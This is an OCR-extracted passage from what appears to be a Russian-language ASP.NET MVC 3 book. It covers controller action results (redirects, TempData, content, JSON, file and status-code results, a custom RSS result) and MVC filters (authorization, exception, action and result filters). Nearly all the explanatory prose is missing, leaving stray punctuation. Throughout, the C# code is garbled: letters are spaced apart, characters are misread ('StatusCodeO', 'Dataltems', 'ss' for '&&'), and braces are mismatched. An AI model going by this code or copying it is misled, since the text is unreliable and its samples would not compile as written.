Assert. AreEqual ("Example", result.RouteValues [" controller " ]) ,Assert.AreEqual("Index", result.RouteValues["action"]);
Ass e r t .A r e E q u a l ("MyID", result.RouteValues["ID"]);
)


,
RedirectToAction().
RedirectToRoute
(. 12.24).

12.24. R e d i r e c t T o A c t i o n ()
public RedirectToRouteResult R edir e c t O
return RedirectToAction("Index");

, ,
.
, :
return RedirectToAction("Index", "MyController");
,
, U R L .
, ,
.

12.

353

! , ,

, ,
.
RedirectToAction() .
RedirectToActionPermanent().


HTTP,
.
, TempData.

TempData Session , TempData


, , .
,
. ,
RedirectToAction ():
public RedirectToRouteResult R edirectO
TempData["Message"] = "Hello";
TempData["Date"] = DateTime.N o w ;
return RedirectToAction("Index");

}
, TempData,
Index .
TempData :
public ViewResult Index {
ViewBag.Message = TempData["Message"];
ViewBag.Date = TempData["Date"];
return V i e w ();

}

:
@{
ViewBag.Title = "Index";
}
<h2>Index</h2>
The day is: @ (((DateTime)TempData["Date"]).DayOfWeek)
<P />
The message is: STempData["Message"]

ViewBag
ViewData . TempData
. TempData , ,
(), :
DateTime time = (DateTime)TempData.P e e k ("Date");

Keep :
TempData.K e e p ("Date") ;

Keep () . ,
. ,
, TempData .
12 , 4039

354

II. ASP.NET MVC 3


HTML
, - :
XML, RSS Atom ( XML);
JSON ( AJAX);
CSV ( );
.
MVC Framework JSON,
.
C on tentR esu lt . 12.25 .

12.25.
public ContentResult Index () {
string message = "This is plain text";
return Content(message, "text/plain", Encoding.Default);

}
ContentResult Controller.
Content, .

, .
HTTP- c o n t e n t - t y p e .

System.Net.Mime.MediaTypeNames. ,
, text/plain.
,
.
, ,
HTML ( text/html).
, ,
. , :
return Content("This is plain text");

.
, A ctio n R es u lt, MVC Framework HTML,
12.26.

12.26. ,
A c t io n R e s u lt
public object I n d e x () {
return "This is plain text";
)

. 12.4 , .

12.

355

. 12.4. ,
c o n t e n t - t y p e t e x t . h t m l

: C o n t e n t R e s u l t
, C o n t e n t R e s u l t ,
, .
12.25:

[TestMethod]
p u b l i c v o i d C o n t e n t T e s t () {
//
E x a m p l e C o n t r o l l e r t a r g e t = n e w E x a m p l e C o n t r o l l e r ();
// -
C o n t e n t R e s u l t re s u l t = t a r g e t .Index ();
// -
A s s e r t . A r e E q u a l ( " t e x t / p l a i n " , r e s u l t .C o n t e n t T y p e ) ;
A s s e r t . A r e E q u a l ( " T h i s is p l a i n text", r e s u l t .C o n t e n t ) ;
)
C o n t e n t R e s u l t . C o n t e n t ,
, C o n t e n t T y p e MIME .
C o n t e n t R e s u l t C o n t e n t E n c o n d i n g ,
,
MVC Framework , .

XML
X M L ,
X M L - LINQ to X M L API XDocum ent. 12.27 .

12.27. XML-
public ContentResult X M L D a t a O (
StoryLink[] sto r i e s = G e t A l l S t o r i e s ();
X E l e m e n t d a t a = new X E l e m e n t ( " S t o r y L i s t " , s t o r i e s .S e l e c t ( e => (
r e t u r n n e w X E l e m e n t (" S t o r y " ,
new X A t t r i b u t e ( " t i t l e " , e.Title),
new X A t t r i b u t e (" d e s c r i p t i o n " , e .D e s c r i p t i o n ) ,
n e w X A t t r i b u t e ( " l i n k " , e.Url));

}) );
return C o n t e n t ( d a t a .T o S t r i n g (), "text/xml");

StoryLink, X M L -,
:

p u b l i c c l a s s StoryL i n k (
p u b l i c s t r i n g T i t l e (get; s e t ; }
p u b l i c s t r i n g D e s c r i p t i o n ( get; set; }
p u b l i c s t r i n g Url ( get; set; }
)

356

II. ASP.NET MVC 3

X M L -:
< S to ry List>
< S t o r y t i t l e = " F i r s t example s t o r y "
d e s c r i p t i o n = " T h i s i s t h e f i r s t example s t o r y " l i n k = " / S t o r y / l " />
< S t o r y t i t l e = " S e c o n d example s t o r y "
d e s c r i p t i o n = " T h i s i s th e s e co n d example s t o r y " l i n k = " / S t o r y / 2 " />
< S t o r y t i t l e = " T h i r d example s t o r y "
d e s c r i p t i o n = " T h i s i s th e t h i r d example s t o r y " l i n k = " / S t o r y / 3 " />
< /S to ry L ist>
. LINQ to XML API- XDocument,
.
XML. LINQ:
C# 2010 ( , 2011 .).

JSON
X M L - X M L - - , J S O N (JavaScript
Object Notation JavaScript).
J S O N ,
. J S O N JavaScript, ,
-,
, X M L .
AJAX,
19.
M V C Framework J s o n R e s u l t ,
.N ET J S O N . J s o n R e s u l t
C o n t r o l l e r . Json , 12.28.

12.28. JSON J s o n R e s u l t
[H ttpPost]
p u b lic J so n R e su lt JsonD ataO

S to ry Lin k f] s t o r ie s = G e tA llS to r ie s ();


retu rn J s o n ( s t o r i e s ) ;
}
S t o r y L i n k , ,
,
J s o n R e s u l t . , 12.28,
:
[ { " T i t l e " : " F i r s t example s t o r y " ,
" D e s c r i p t i o n " : " T h i s i s t h e f i r s t example s t o r y " , " U r l " : " / S t o r y / 1 ,
{ " T i t l e " : "Seco n d example s t o r y " ,
" D e s c r i p t i o n " : " T h i s i s t h e se co n d example s t o r y " , " U r l " : " / S t o r y / 2 " },
{ " T i t l e " : " T h i r d example s t o r y " ,
" D e s c r i p t i o n " : " T h i s i s t h e t h i r d example s t o r y " , " U r l " : " / S t o r y / 3 " }]
J S O N .
, J S O N . 19
. ,
J S O N h t t p : / / w w w .j s o n . o r g .

12.

357

! , ,

J s o n R e s u l t
HTTP- POST.
(. 21).
, JSON, H t t p P o s t ;
, . 19
, .


F i l e R e s u l t ,
. MVC Framework
:

FileP ath R esu lt

FileC ontentResult

FileStream Result

S y s t e m .1 0 . Stream.

, , ..

C o n t r o l l e r . F i l e .
.


12.29 , .
12.29.
pu b l i c F i l e R e s u l t A n n u a l R e p o r t () {
string

filenam e

string

ContentType = "a p p l i c a t i o n /p d f ";

= @ "c:\A n n u a lR e p o r t.p d f";

string

downloadName = "A n n u a l R e p o r t 2 0 1 1 .p d f " ;

return

F ile(filen am e,

ContentType,

d ow nloadNam e);

,
, . 12.5.

. 12 .5.

358

II. ASP.NET MVC 3

-. . 12.5
, Internet Explorer 8.
F i l e , ,
, . 12.3.

12.3. , F i l e

f ile n a m e

s t r in g

( ),
.

C on ten tTyp e

s trin g

MIME
c o n t e n t - t y p e .

, .
, a p p l i c a t i o n /
v n d .m s - e x c e l,
Microsoft Excel. ,
a p p li c a t i o n / p d f

PDF-

s t r in g

c o n t e n t - d is p o s i t i o n
.
,

.

, URL

fileDownloadName

fileD o w n lo a d N a m e , ,
M IM E (, im a g e / g if) ,
.
file D o w n lo a d N a m e , ,
M IM E (, a p p lic a t io n / v n d .m s - e x c e l) ,
,
U R L ( Internet Explorer
MIME).
, ,
.m vc, . ,
file D o w n lo a d N a m e ,
.

! f ile D o w n lo a d N a m e
C o n t e n t T y p e (, A n n u a l R e p o r t .p d f MIME-
a p p lic a t io n / v n d .m s - e x c e l) , . ,
MIME , a p p li c a t i o n / o c t e t - s t r e a m .
- .
, ,
.

12.

359



File,
12.30.

12.30.
p ublic F i l e C o n t e n t R e s u l t D o w n l o a d R e p o r t () {
b y t e [] data = ... //
return File(data, "application/pdf", "AnnualReport.pdf");
}
9 ,
. C o n t e n t T y p e
f i l e D o w n l o a d N a m e . ,
.


, S y s t e m .
10.Stream, File.
. 12.31
.

12.31.
public FileStreamResult DownloadReport()(
S t r e a m s t r e a m = . . . . . .
return File(stream, "text/html");

:
F i l e R e s u l t ,
: C o n t e n t T y p e MIME ,
F i l e D o w n l o a d N a m e , .
,
FileResult.
F i l e P a t h R e s u l t ,
FileName. 12.29:
[TestMethod]

p u b l i c v o i d F i l e R e s u l t T e s t () {
//
E x a m p l e C o n t r o l l e r t a r g e t = new E x a m p l e C o n t r o l l e r ();
// -
F i l e R e s u l t result = t a r g e t .A n n u a l R e p o r t ();
// -
A s s e rt.A re E q u a l(@ " c :\A n n u a lR e p o rt.p d f",
A s s e rt.A re E q u a l(" a p p lic a tio n /p d f" ,

( ( F i l e P a t h R e s u l t ) r e s u l t ) . F ile N a m e ) ;

re s u lt.C o n te n tT y p e );

A s s e r t . A r e E q u a l (" A n n u a l R e p o r t 2 0 1 1 .p d f " , r e s u l t .F i l e D o w n l o a d N a m e ) ;

360

II. ASP.NET 3

. ,
FileContentResult.FileContents.
FileStreamResult FileStream,
System. 10.Stream, .

HTTP
ActionResult, ,

HTTP. , .. MVC Framework
.
, ,
.

HTTP
HTTP
HttpStatusCodeResult.
, HttpStatusCodeResult

, 12.32.

12.32.
public HttpStatusCodeResult StatusCodeO {
return new HttpStatusCodeResult(404, "URL cannot be serviced");
// URL

HttpStatusCodeResult
. 12.32
404, , .

404
, 12.32,
HttpNotFoundResult,
HttpStatusCodeResult HttpNotFound
, 12.33.

12.33. 404
public HttpStatusCodeResult StatusCodeO
return HttpNotFound();

401
- HTTP
HttpUnauthorizedResult, 401,

. 12.34.

12.34. 401
public HttpStatusCodeResult StatusCodeO
return new HttpUnauthorizedResult{);

12.

361

HttpUnauthorizedResult Controller
, .

, 9.

: HTTP
H t t p S t a t u s C o d e R e s u l t ,
, .
StatusCode HTTP,
StatusDescription .
12.33:
[TestMethod]
public void StatusCodeResultTest() {
//
ExampleController target = new ExampleController ;
// -
HttpStatusCodeResult result = target.StatusCode();
// -
Ass e r t .AreEqual (404, result.StatusCode);
}



, ,
, - .
,
RSS . RSS
,
. R ssA ctio n R esu lt 12.35.

12.35.
u s in g System;
using S y s te m .C o lle c t io n s . Generic;
using Sy ste m .L in q ;
using

S y ste m .W e b ;

u s in g S y ste m .W e b .M v c;
u sing S y ste m .X m l. Lin q ;
namespace C o n t r o l l e r s A n d A c t i o n s . I n f r e s t r u c t u r e
public

abstract

class

RssActionResult

: A ctionResult

}
public

class

public

RssActionResult<T>

RssA ctionResult (string t it l e ,

Func<T,
Title

XElem ent>

form atter)

= title;

Dataltem s

= data;

Form atter = form atter;

: RssA ctionResult

IEnumerable<T> d ata,

362

II. ASP.NET MVC 3


public IEnumerable<T> Dataltems ( get; set; }
public Func<T, XElement> Formatter { get; set; }
public string Title { get; set; }
public override void ExecuteResult(ControllerContext context)

HttpResponseBase response = context.HttpContext.Response;


//
response.ContentType = "application/rss+xml";
// RSS-
string rss = GenerateXML(response.ContentEncoding.WebName);
//
response.Write(rss);

}
private string GenerateXML(string encoding)

XDocument rss = new XDocument(new XDeclaration("1.0", encoding, "yes"),


new X E l e m e n t ("rss", new XAttribute("version", "2.0"),
new XElement("channel", new XElement("title", Title),

Dataltems.Select (e => Formatter (e))))) ;


return r s s .ToString ();
)
}
.
RssActionResult, ActionResult.
RssActionResult<T>,
RssActionResult. ,
, RssActionResult,
.
, RssActionResult<T>,
: R S S -, ,
, ,
X M L -, R S S -.

. , ,
. ,

ExecuteResult.
, ActionResult,
ExecuteResult.
R S S - LINQ API- XDocument.
Response, ControllerContext.
12.36 ,
.

12.36.
public RssActionResult RSS()

StoryLink[] stories = GetAllStories();

12.

return new
re t u r n
new
new
new

36 3

R s s A c t i o n R e s u l t < S t o r y L i n k > ("My Stories", stories, e => (


new X E l e m e n t (" i t e m " ,
X A t t r i b u t e ( " t i t l e " , e.Title),
X A t t r i b u t e ( " d e s c r i p t i o n " , e .D e s c r i p t i o n ) ,
X A t t r i b u t e ( " l i n k " , e.Url));

}) ;
}

.
StoryLink , (
Func) X M L -, (story)
. ,
R S S -, , . 12.6.

. 1 2 .6 . ,


M VC. , "
IController,
, Controller.
M V C Framework, ,
.
,
,
.

13

.

(cross-cutting concerns). ,
,
Separation of Concerns (
).
, .
,
-,
Ruby on Rails. MVC Framework
Request.Filter Response.Filter ASP.NET,
( ).
Request.Filter Response.Filter MVC,
, ASP.NET MVC ,
, .
,
MVC Framework, , ,
.


9,
SportsStore. ,

, .
, 13.1.
13.1.
namespace SportsStore.W e b U I .Controllers (
public class AdminController : Controller {
// . . .
public ViewResult Ind e x () {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();
}
// ...

13.

365

public ViewResult C r e a t e d {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();

}
// ...
}
public ViewResult Edit(int productld) {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();

}
// ...

}
// ...

, ,
(. 13.2).

13.2.
namespace SportsStore.W e b U I .Controllers {
[Authorize]
public class AdminController : Controller {
// ...
public ViewResult Index!) {
// ...

}
public ViewResult Create () {// . . .

1
public ViewResult Edit(int productld) {
// . . .

)
// ...

}
}
.NET,
. 13.2 Authorize,
, 13.1.

.NET:
.NET, System.Attribute.
, , , .
, ,
, .
C# ,

(, [MyAttribute(SomeProperty=value)]). ,
#, Attribute,
(, AuthorizeAttribute
[Authorize]).

366

II. ASP.NET MVC 3


M V C F ra m e w o rk .

. . 13.1.

13.1. MVC Framework


IAuthorizationFilter

AuthorizeAttribute

IActionFilter

ActionFilterAttribute

IResultFilter

ActionFilterAttribute

IExcepti'onFilter

HandleErrorAttribute

,
,


, M VC Fram ew o rk ,
, ,
. 13.1. ,
, .
,
. , , .
! A ctionFilterAttribute IActionFilter
iResultFilter. , .
AuthorizeAttribute HandleErrorAttribute



. 13.2 Authorize AdminController,
,
(. 13.3).

13.3.
namespace SportsStore.W e b U I .Controllers {
public class AdminController : Controller {
II ...
[Authorize]
public ViewResult Ind e x () {

13.

367

if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage() ;

}
// ...

}
[Authorize]
public ViewResult C r e a t e () {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();

1
// ...

}
/ / . . .

}__________________

_________________ _________ _

, ,
, .
13.4 .

13.4.
[Authorize(Roles="trader")]
//
public class ExampleController : Controller {
[ShowMessage]
[OutputCache(Duration=60)]
public ActionResult I n d e x () {
// ...

//
//

}
)
13.4 . ,
, .

! ,
, , .


, , ..
, .
,
, ,
. I A u t h o r i z a t i o n F i l t e r ,
13.5.

13.5. I A u t h o r i z a t i o n F i l t e r
namespace System.Web.Mvc {
public interface IAuthorizationFilter {
void OnAuthorization(AuthorizationContext filterContext);

}
}

368

II. ASP.NET 3

, . MVC Framework
. URL,
, URL.
, Framework
, -
. , ,
I A u t h o r i z a t i o n F i l t e r , .. O n A u t h o r iz a t io n .
, .
.


, , .
13.6 . ,
( R e q u e s t .I s A u t h e n t ic a t e d tr u e ),
.

13.6.
using System;
using System.Linq*
using System.Web.Mvc;
using System.Web;
namespace MvcFilters.Infrastructure.Filters (
public class CustomAuthAttribute : AuthorizeAttribute (
private str i n g [] allowedUsers;
public CustomAuthAttribute(params string[] users) {
allowedUsers = users;

)
protected override bool AuthorizeCore(HttpContextBase httpContext)
return httpContext.Request.IsAuthenticated &&
allowedUsers.Contains(httpContext.U s e r .Identity.Name,
StringComparer.InvariantCulturelgnoreCase);

}
}


A u t h o r i z e A t t r ib u t e A u t h o riz e C o r e .
, A u t h o r i z e A t t r ib u t e .

:

, .
,
, . ,
. , ,
.
, ,
. MVC Framework
,
. ,
. ,
, Microsoft.

13.

369

,
. P e r f o r m A u t h e n t i c a t i o n C h e c k ,
, ,
.

O n A u t h o r i z a t i o n . , ,
A u t h o r i z a t i o n C o n t e x t , C o n t r o l l e r C o n t e x t .
C o n t r o l l e r C o n t e x t ,
H t t p C o n t e x t B a s e , .
C o n t r o l l e r C o n t e x t . 13.2.
,
, .

13.2. C o n t r o l l e r C o n t e x t

C on tro ller

C on tro llerB ase

HttpContextBase

IsC h ild A c tio n

bool

t r u e , (
, 15)

R equestC ontext

R equestC ontext

H t t p C o n t e x t
,

RouteData

R outeData

HttpContext

, , , 13.6
:
...

f i l t e r C o n t e x t .HttpContext.Request . I s A u t h e n t i c a t e d

...

, ,
. A u t h o r i z a t i o n C o n t e x t
, . 13.3.

13.3. A u t h o r i z a t i o n C o n t e x t

A ctio n D esc rip to r

A ctio n D e sc rip to r

R esu lt

A ctio n R esu lt

;
,
, n u l l

A c t i o n D e s c r i p t o r , S y s t e m . W e b . M v c .
,
. , R e s u l t ,
. ,
O n A u t h o r i z a t i o n . MVC Framework
.
R e s u l t
A c t i o n R e s u l t , MVC Framework A c tio n D e sc rip to r,

370

II. ASP.NET 3

. ,
.
, P e r f o r m A u t h e n t i c a t i o n C h e c k
false ( , ,
), HttpUnauthorizedResult (
HttpUnauthorizedResult 12)
Result :
fiiterContext.Result = new HttpUnauthorizedResult () ;


, , 13.7.
13.7.
[CustomAuth("adam", "steve", "bob")]
public ActionResult Ind e x () {
return V i e w ();
)


MVC Framework
, AuthorizeAttribute.
, . 13.4.
13.4. A u t h o r i z e A t t r i b u t e

Users

String

- ,

Roles

String

- .
,
,

13.8 ,
.
13.8.
[Authorize(Users="adam, steve, bob", Roles="admin")]
public ActionResult Ind e x () {
return V i e w ();
}

, . ,
, :
adam, steve bob admin. ,
, .
,
. 13.2.

13.

371

,
. - ,
, A u t h o r i z e A t t r i b u t e . ,
I A u t h o r i z a t i o n F i l t e r , -
,
.
A u t h o r i z e A t t r i b u t e .
AuthorizeAttribute,

A u t h o r i z e C o r e , O n A u t h o r i z a t i o n
A u t h o r i z e A t t r i b u t e .
H a n d l e U n a u t h o r i z e d R e q u e s t ,
.
.
, , O n A u t h o r i z a t i o n .
, ..
,
O u t p u t C a c h e , .



A u t h o r i z e A t t r i b u t e . ,
,
( R e q u e s t . I s L o c a l t r u e ) , ,
A u t h o r i z e A t t r i b u t e .
,
. I s L o c a l
H t t p R e q u e s t B a s e . 13.9.
13.9.
using

S y ste m .W e b ;

u s i n g S y s t e m . W eb .M v c;
namespace M v c F i l t e r s . I n f r e s t r u c t u r e . F il t e r s
public

class

O rAuthorizationAttribute

: AuthorizeAttribute

p rotected override bool AuthorizeC ore(HttpContextBase


return h ttp C o n te x t.R e q u e s t. IsLocal

||

httpContext)

b a s e .A u t h o r ize C o r e (h t tp C o n te x t );

)
}

.
[OrAuthorization(Users
public ActionResult

= "adam ,

I n d e x ()

steve,

bob",

Roles =

A uthorizeAttribute:

"adm in")]

return V ie w ();

,
a d m i n , .
, , .

372

II. ASP.NET MVC 3



.
. , AJAX.

. , H a n d l e U n a u t h o r i z e d R e q u e s t
A u t h o r i z e A t t r i b u t e , . 13.10 .

13.10.
u s in g S y s te m .W e b .M v c;
namespace M v c F i l t e r s . I n f r e s t r u c t u r e . F ilte r s
public

class AjaxAuthorizeAttribute

: AuthorizeAttribute

p r o t e c t e d o v e r rid e v o i d H a nd le U n a u t h o r ize d R e q u e s t(A u t h o r iza tio n C o n t e x t context)

{
if

(c o n t e x t . H t tp C o n te x t . R e q u e s t . Is A j a x R e q u e s t ())
UrlHelper

co n tex t.Result
Data

=j n e w

= new J s o n R e s u l t
"N o tA u tho rized ",

LogOnUrl
} else

Error =
},

U r l H e l p e r = new U r l H e l p e r ( c o n t e x t . R e q u e s t C o n t e x t ) ;

= u r lH e lp e r .A c t io n ("L o g O n ",

"A ccount")

J s o n R e q u e s t B e h a v i o r = J s o n R e q u e s t B e h a v i o r . A l l o w G e t };

b a s e . HandleUnauthorizedRequest (c o n t e x t );

)
}
)
)

AJAX, JSON,
URL .
,
. AJAX , .
, AJAX JSON, 19.


,
. :
(, ):
;
(. 12).



13.11.

IExceptionFilter,

13.11. I E x c e p t i o n F i l t e r
namespace S y s te m .W e b .M v c
public

interface

IExceptionFilter

void O nE xception(ExceptionContext

filterC ontext);

13.

373

O n E x c e p t i o n , .
E x c e p t i o n C o n t e x t .
,
C o n t r o l l e r C o n t e x t ( )
, . 13.5.

13,5. E x c e p t io n C o n t e x t

ActionDescriptor

ActionDescriptor

Result

ActionResult

;
,
, n u l l

Exception

Exception

ExceptionH andled

bool

t r u e ,

E x c e p t i o n .
, ,
E x c e p t i o n H a n d l e d t r u e . , ,
, t r u e ,
, - ,
.

t r u e , MVC Framework
ASP.NET. .

ExceptionH andled

R esu lt MVC Framework,


.

. 13.12 ;
,
.

13.12.
u s in g S y s te m .W e b .M v c;
u s in g System ;
namespace M v c F i l t e r s . I n f r a s t r u c t u r e . F i l t e r s
public

public
if

class M yExceptionAttribute: FilterAttribute,


void O nException(ExceptionContext

filterContext)

NullReferenceException)

( ! f i l t e r C o n t e x t . ExceptionHandled
f il t e r C o n t e x t . Exception

is

IExceptionFilter

ss

f i l t e r C o n t e x t . R e s u l t = new R e d i r e c t R e s u l t ( " / S p e c i a l E r r o r P a g e . h t m l " ) ;


f il t e r C o n t e x t .ExceptionH andled = true;

)
}

374

II. ASP.NET MVC 3

N u l l R e f e r e n c e E x c e p t i o n ,
, ,
.
URL. :
[MyException]
p u b l i c A c t i o n R e s u l t I n d e x () {
I n d e x ,
N u l l R e f e r e n c e E x c e p t i o n ,
, URL / S p e c i a l E r r o r P a g e . h t m l .


.
, ,
, . 13.6.
H an d leE rro rA ttribu te

IE x c e p tio n F ilte r

13.6. H a n d l e E r r o r A t t r i b u t e

E x c e p tio n T y p e

Type

, .
,
, .
S y s t e m . E x c e p t i o n ,

V ie w

strin g

,
. ,
E r r o r ,
/V ie w s /< T e y e o K o p o e p a > /E r r o r . c s h t m l

M aster

strin g

/V i e w s /S h a r e d /E r r o r .c s h t m l

,
. ,

, E x c e p t i o n T y p e ,
HTTP 500 ( )
, V i e w (
, M a s t e r ) .
H a n d l e E r r o r A t t r i b u t e 13.13.

13.13. H a n d l e E r r o r A t t r i b u t e
[HandleError(ExceptionType=typeof(NullReferenceException), View="SpecialError")]

p u b l i c A c t i o n R e s u l t I n d e x () {

N u l l R e f e r e n c e E x c e p t i o n ,
S p e c i a l E r r o r ,
.

13.

375

! H a n d l e E r r o r A t t r i b u t e , W e b . c o n f i g
, , < c u s t o m E r r o r s
"O n "

/>

< s y s t e m . w e b > .

m ode=

R e m o t e O n l y , , H a n d l e E r r o r A t t r i b u t e
,
.
, ,
On.

H a n d l e E r r o r A t t r i b u t e
H a n d l e E r r o r l n f o , , ,
, . 13.14
.

13.14.

@M odel H a n d l e E r r o r l n f o

@<
V ie w B ag . T it l e

= "S o r r y ,

t h e r e was a p r o b l e m ! ";

}
<p>
T h e r e w a s a < b > @ M o d e l . E x c e p t i o n . G e t T y p e ( ) .N a m e < / b >
w h ile

r e n d e r in g < b > @ M o d el. C o n t r o l l e r N a m e < /b > ' s

< b > @ M o d e l. A c t io n N a m e < /b >

a c tio n .

< /p >
<p>
The e x c e p t io n m essage

is:

< b x @ M o d e l .E x c e p t i o n .M e s s a g e x /b >

< /p >
< p> Stack t r a c e :< /p >
< p re > @ M o d e l. E x c e p t i o n . S t a c k T r a c e < /p r e >

. 13.1.

. 13 .1.

376

II. ASP.NET MVC 3



. .
IActionFilter,
13.15.

13.15. I A c t i o n F i l t e r
namespace System.Web.Mvc {
public interface IActionFilter {
void OnActionExecuting(ActionExecutingContext filterContext);
void OnActionExecuted(ActionExecutedContext filterContext);
}

. M V C Framework
OnActionExecuting , OnActionExecuted

OnActionExecuting
OnActionExecuting .

, ,
.
ActionExecutingContext, ControllerContext
, (. . 13.7).

13.7. A c t io n E x e c u t i n g C o n t e x t

ActionDescriptor

ActionDescriptor

Result

ActionResult

;
,
, n u l l

, Result
, 13.16.

13.16. O n A c tio n E x e c u tin g


using S y s t e m . W e b .Mvc;
n a m e s p a c e M v c F i l t e r s .I n f r e s t r u c t u r e .F i lters {
p u b l i c clas s M y A c t i o n F i l t e r A t t r i b u t e : Fi lt er A t t r i b u t e , I A c t i o n F i l t e r {
public void OnActionExecuting(ActionExecutingContext filterContext) (
if (!f i l t e r C o n t e x t .H t t p C o n t e x t .R e q u e s t .I s S e c u r e C o n n e c t i o n ) (
f i l t e r C o n t e x t .R e s u l t = n e w H t t p N o t F o u n d R e s u l t ();
)
}
p u b l i c v o i d O n A c t i o n E x e c u t e d ( A c t i o n E x e c u t e d C o n t e x t filter C o n t e x t ) {
//
}
}
)

377

13.

OnActionExecuting ,
SSL. , 404 Not Found (
).
! 13.16 , ,

IActionFilter, .
, . ,
NotlmplementedException,
.

OnActionExecuted
,
. 13,17
, ,
.

13.17.
using System.^Diagnostics;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters {
public class ProfileAttribute : FilterAttribute, IActionFilter {
private Stopwatch timer;
public void OnActionExecuting(ActionExecutingContext filterContext)
timer = Stopwatch.StartNew();

}
public void OnActionExecuted(ActionExecutedContext filterContext)
t i m e r .S t o p ();
if (filterContext.Exception == null) {
filterContext.HttpContext.Response.Write (
string.F o r m a t ("Action method elapsed time: (0)",
timer.Elapsed.TotalSeconds));
}

}
}
)

OnA c t i o n E x e c u t i n g
( Stopwatch System.Diagnostics).
OnActionExecuted , . 13.17
,
. . 13.2 .

. 13.2.

378

II. ASP.NET MVC 3

O n A c t i o n E x e c u t e d A c t i o n E x e c u t e d
, . 13.8.
E x c e p t i o n , ,
E x c e p t i o n H a n d l e d , .
C ontext.

1 3 .8 . A c t i o n E x e c u t e d C o n t e x t

A ctio n D e sc rip to r

A ctio n D e sc rip to r

C an celed

bool

t r u e ,

E x c e p t io n

E xc e p tio n

E xc e p tio n H an d le d

bool

t r u e ,

R esu lt

A ctio n R e s u lt

;
,
, n u l l

C a n c e l e d t r u e , (
R e s u l t ) ,
O n A c t i o n E x e c u t i n g . O n A c t i o n E x e c u t e d - ,
.


.
, .
I R e s u l t F i l t e r ,
13.18.
13.18. I R e s u l t F i l t e r
n a m e s p a c e S y s t e m .W e b .M v c
p u b lic

in te r fa c e

IR e su ltF ilte r

v o id O n R e s u lt E x e c u tin g (R e s u ltE x e c u t in g C o n t e x t
v o id O n R e s u lt E x e c u te d (R e s u ltE x e c u t e d C o n t e x t

filt e r C o n t e x t );

filt e r C o n t e x t );

}
}

12 , .
.
, O n R e s u l t E x e c u t i n g ,
, .
O n R e s u l t E x e c u t e d .
R e s u l t E x e c u t i n g C o n t e x t
R e s u l t E x e c u t e d C o n t e x t ,
. ,
(. . 13.8). 13.19 .

379

13.

13.19.
using System.Diagnostics;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters {
public class ProfileResultAttribute : FilterAttribute, IResultFilter {
private Stopwatch timer;
public void OnResultExecuting(ResultExecutingContext filterContext)
timer = Stopwatch.StartNew();

}
public void OnResultExecuted(ResultExecutedContext filterContext)
timer.S t o p ();
filterContext.HttpContext.Response.Write(
string.Form a t ("Result execution - elapsed time: {0}",
timer.Elapsed.TotalSeconds));

}
}
}

,
. :
[ProfileResult]
public ActionResult Index () {
return V i e w ();
}

, ,
. 13.3. ,
. ,
.. ,
.
, .

. 13.3.


MVC Framework ,
.
, .
ActionFilterAttribute 13.20.

380

II. ASP.NET MVC 3

1 3 .2 0 . A c t i o n F i l t e r A t t r i b u t e
public abstract class ActionFilterAttribute :
FilterAttribute, IActionFilter, IResultFilter (
public virtual void OnActionExecuting(ActionExecutingContext filterContext)

{
)
public virtual void OnActionExecuted(ActionExecutedContext filterContext)

(
)
public virtual void OnResultExecuting(ResultExecutingContext filterContext)

(
)
public virtual void OnResultExecuted(ResultExecutedContext filterContext)

(
)

,
, , . 13.21
ActionFilterAttribute ,
.
13.21. A c t i o n F i l t e r A t t r i b u t e
using System.Diagnostics;
using System.Web.Mvc;
namespace MvcFilters.Infrestructure.Filters {
public class ProfileAHAttribute : ActionFilterAttribute {
private Stopwatch timer;
public override void OnActionExecuting(ActionExecutingContext filterContext)

(
timer = Stopwatch.StartNew ();

}
public override void OnActionExecuted(ActionExecutedContext filterContext)

{
timer.S t o p ();
filterContext.HttpContext.Response.Write(
string.F o r m a t ("Action method elapsed time: (0)",
timer.Elapsed.TotalSeconds) ) ;

)
public override void OnResultExecuting(ResultExecutingContext filterContext)

(
timer = Stopwatch.StartNew ();

}
public override void OnResultExecuted(ResultExecutedContext filterContext)

(
timer.S t o p ();
filterContext.HttpContext.Response.W r i t e (
string.Format("Action result elapsed time: (0}",
timer.Elapsed.TotalSeconds) ) ;

}
)
)

13.

381

A c t i o n F i l t e r A t t r i b u t e I A c t i o n F i l t e r
IResultFilter. , MVC Framework
,
. 13.21 , ,
. 13.4.

. 13.4. /


,
.
, ,
.
MVC Framework.



, .
. Controller
I A u t h o r i z a t i o n F i l t e r , I A c t i o n F i l t e r , I R e s u l t F i l t e r I E x c e p t i o n F i l t e r .

On, O n A u t h o r i z a t i o n O n E x c e p t i o n . 13.22
, .

13.22.
using System.Diagnostics;
using S ystem.Web.Mvc;
namespace MvcFilters.Controllers {
public class SampleController : Controller (
private Stopwatch timer;
public ActionResult I n d e x () {
return V i e w ();
}
protected override void OnActionExecuting(ActionExecutingContext filterContext)
{
timer = Stopwatch.StartNew ();

}
protected override void OnActionExecuted(ActionExecutedContext filterContext)
{
t im e r .S t o p ();
filterContext.HttpContext.Response.W r i t e (

382

II. ASP.NET MVC 3


s t r i n g . F o r m a t ( " A c t i o n method e l a p s e d t i m e :
t im e r . E la p se d .T o ta lS e co n d s));

{0}",

}
p r o t e c t e d o v e r r id e v o i d O n R e s u ltE x e c u tin g ( R e s u lt E x e c u t in g C o n te x t f i l t e r C o n t e x t )

{
tim e r = Stopw atch. StartN ew () ;

}
p r o t e c t e d o v e r r i d e v o i d O n R e s u lt E x e c u t e d ( R e s u lt E x e c u t e d C o n t e x t f i l t e r C o n t e x t )
(
t i m e r . Sto p () ;
f i l t e r C o n t e x t . H ttp C o n te x t. R e sp o n se .W rite (
s t r i n g . F o r m a t ( " A c t io n r e s u l t e l a p s e d t i m e : { 0 } " ,
t im e r . E la p s e d . T o ta lS e co n d s) ) ;

}
}
}

,
. ,
, , ,
,
, .
. H elm
.
, , ,
.


.
R e g is t e r G lo b a lF ilt e r s
G l o b a l . a s a x . 13.23 , P r o f i l e A l l ,
13.21, .

13.23.
p u b l i c c l a s s M v c A p p l i c a t i o n : Sy stem .W eb . H t t p A p p l i c a t i o n {
p u b lic s t a t i c vo id R e g i s t e r G l o b a l F i lt e r s ( G lo b a lF i l t e r C o l le c t io n f i l t e r s )
